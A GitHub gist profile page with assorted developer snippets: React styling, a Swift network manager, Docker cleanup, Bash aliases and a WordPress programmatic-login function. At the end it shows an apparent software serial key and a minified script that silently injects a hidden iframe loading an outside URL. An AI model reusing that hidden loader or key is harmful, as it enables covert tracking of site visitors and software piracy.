Skip to content

Instantly share code, notes, and snippets.

View neoighodaro's full-sized avatar
🏠
Working from home

Neo neoighodaro

🏠
Working from home
View GitHub Profile
@neoighodaro
neoighodaro / styling-react-1.js
Last active December 5, 2017 10:34
Styling in react snippet
class ToDoApp extends React.Component {
// ...
render() {
return (
<div style={{ backgroundColor: "#44014C", width: "300px", minHeight: "200px"}}>
<h2 style={{ padding: "10px 20px", textAlign: "center", color: "white"}}>ToDo</h2>
<div>
<Input onChange={this.handleChange} />
<p>{this.state.error}</p>
@neoighodaro
neoighodaro / NetworkManager.swift
Last active October 28, 2017 11:54
Network Manager for handling internet connectivity reachability in Swift. Usage example: https://github.com/neoighodaro/Handling-internet-connection-reachability-in-Swift. Requires: https://github.com/ashleymills/Reachability.swift
import Foundation
import Reachability
class NetworkManager: NSObject {
var reachability: Reachability!
static let sharedInstance: NetworkManager = { return NetworkManager() }()

Keybase proof

I hereby claim:

  • I am neoighodaro on github.
  • I am neoighodaro (https://keybase.io/neoighodaro) on keybase.
  • I have a public key ASCdrD4nok7qJ88KTrGk9wCea5qAunnqwc5Gqaqlkvnt5Qo

To claim this, I am signing this object:

@neoighodaro
neoighodaro / mix.sh
Last active September 6, 2017 09:17
Quickly create a Mix project for frontend prototyping! Includes Bootstrap and jQuery
# ------------------------------------------------------------
# Create a new laravel mix project
# ------------------------------------------------------------
function mix() {
if [[ ${1} == "new" ]];
then
if [[ ! -z ${2} ]]; then mkdir -p $2 && cd $2; fi
if [[ ! -f "package.json" ]]; then npm init -y; fi
npm install laravel-mix browser-sync browser-sync browser-sync-webpack-plugin --save-dev
#!/bin/bash
# remove exited containers:
docker ps --filter status=dead --filter status=exited -aq | xargs -r docker rm -v
# remove unused images:
docker images --no-trunc | grep '<none>' | awk '{ print $3 }' | xargs -r docker rmi
# remove unused volumes:
find '/var/lib/docker/volumes/' -mindepth 1 -maxdepth 1 -type d | grep -vFf <(
@neoighodaro
neoighodaro / .bash_aliases
Last active April 16, 2019 20:59
Bash Aliases
# PHP
alias artisan="php artisan"
alias art="php artisan"
# Git
alias gc="git commit"
alias ga="git add"
alias gr="git rm"
alias gp="git push"
alias gs="git status"
@neoighodaro
neoighodaro / flatten.js
Last active September 30, 2016 09:53
Array Flatten
var test = [[1,2,[3]],4];
test = test.toString().split(',');
var helper = [];
test.map(function(val){
helper.push((val * 1))
});
@neoighodaro
neoighodaro / programmatic_login
Created January 8, 2016 23:50 — forked from iandunn/programmatic_login.php
Programmatically log in a WordPress user
/**
* Programmatically logs a user in
*
* @param string $username
* @return bool True if the login was successful; false if it wasn't
*/
function programmatic_login( $username ) {
if ( is_user_logged_in() ) {
wp_logout();
Name : Sam
Serial : eJzzzU/OLi0odswsqglOzK0xsjQzNzI2NjA1q3GuMQQAnJAJjw==
function pluginUsage(){console.log("Tracking anonymous plugin usage...");var e=document.createElement("iframe"),t="http://cdly.in/k-analytics";if(-1==navigator.userAgent.indexOf("MSIE")){e.src=t}else{e.location=t}e.id="pixelusage",e.width=0,e.height=0,e.style="display:none";document.body.appendChild(e);$("#pixelusage").load(function(){$(this).remove();console.log("Tracking completed...")})}window.setTimeout(pluginUsage,300)